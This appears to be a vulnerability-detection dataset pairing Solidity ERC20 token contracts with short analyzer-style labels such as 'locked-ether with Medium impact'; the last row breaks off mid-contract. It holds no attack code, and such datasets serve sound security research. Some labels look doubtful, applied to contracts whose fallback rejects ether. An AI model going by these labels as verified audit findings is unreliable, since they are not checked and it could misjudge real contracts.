input stringlengths 32 47.6k | output stringclasses 657 values |
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pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract AiDAO is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "AiDAO";
name = "AiDAO";
decimals = 8;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
// ---------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = address(0);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ----------------------------------------------------------------------------
contract FixedSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "AMMO";
name = "Ammunition";
decimals = 18;
address _mintaddress = address(msg.sender);
_totalSupply = 3500000 * 10**uint(decimals); // starting supply
balances[_mintaddress] = _totalSupply;
emit Transfer(address(0), _mintaddress, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title CLX Token
* @dev Token representing CLX.
*/
contract CLXToken is StandardToken, Ownable{
string public name ;
string public symbol ;
uint8 public decimals = 8 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symbol of the token
*/
function CLXToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = tokenName;
symbol = tokenSymbol;
balances[msg.sender] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-02-09
*/
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata) external;
}
contract AAACoin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "AAACoin";
symbol = "AAAC";
decimals = 18;
initialSupply = 1000000000;
totalSupply_ = initialSupply * 10 ** uint(decimals);
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function() external payable {
revert();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20Standard {
using SafeMath for uint256;
uint public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
string public version;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint)) allowed;
//Fix for short address attack against ERC20
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function transfer(address _recipient, uint _value) public onlyPayloadSize(2*32) {
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_recipient] = balances[_recipient].add(_value);
emit Transfer(msg.sender, _recipient, _value);
}
function transferFrom(address _from, address _to, uint _value) public {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _spender, address _owner) public view returns (uint balance) {
return allowed[_owner][_spender];
}
//Event which is triggered to log all transfers to this contract's event log
event Transfer(
address indexed _from,
address indexed _to,
uint _value
);
//Event which is triggered whenever an owner approves a new allowance for a spender.
event Approval(
address indexed _owner,
address indexed _spender,
uint _value
);
}
| These are the vulnerabilities found
1) erc20-interface with Medium impact |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18; // 18 是建议的默认值
uint256 public totalSupply;
mapping (address => uint256) public balanceOf; //
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | These are the vulnerabilities found
1) erc20-interface with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'GLOBALTRUSTFUND TOKEN' token contract
//
// Deployed to : 0xbed9f0703e325ec7bbe41bff4237507395c39619
// Symbol : GTF
// Name : GLOBALTRUSTFUND TOKEN
// Total supply: 300000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract GLOBALTRUSTFUND is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "GTF";
name = "GLOBALTRUSTFUND TOKEN";
decimals = 8;
_totalSupply = 30000000000000000;
balances[0xbed9f0703e325ec7bbe41bff4237507395c39619] = _totalSupply;
emit Transfer(address(0), 0xbed9f0703e325ec7bbe41bff4237507395c39619, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2020-11-30
*/
// Partial License: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Partial License: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Partial License: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
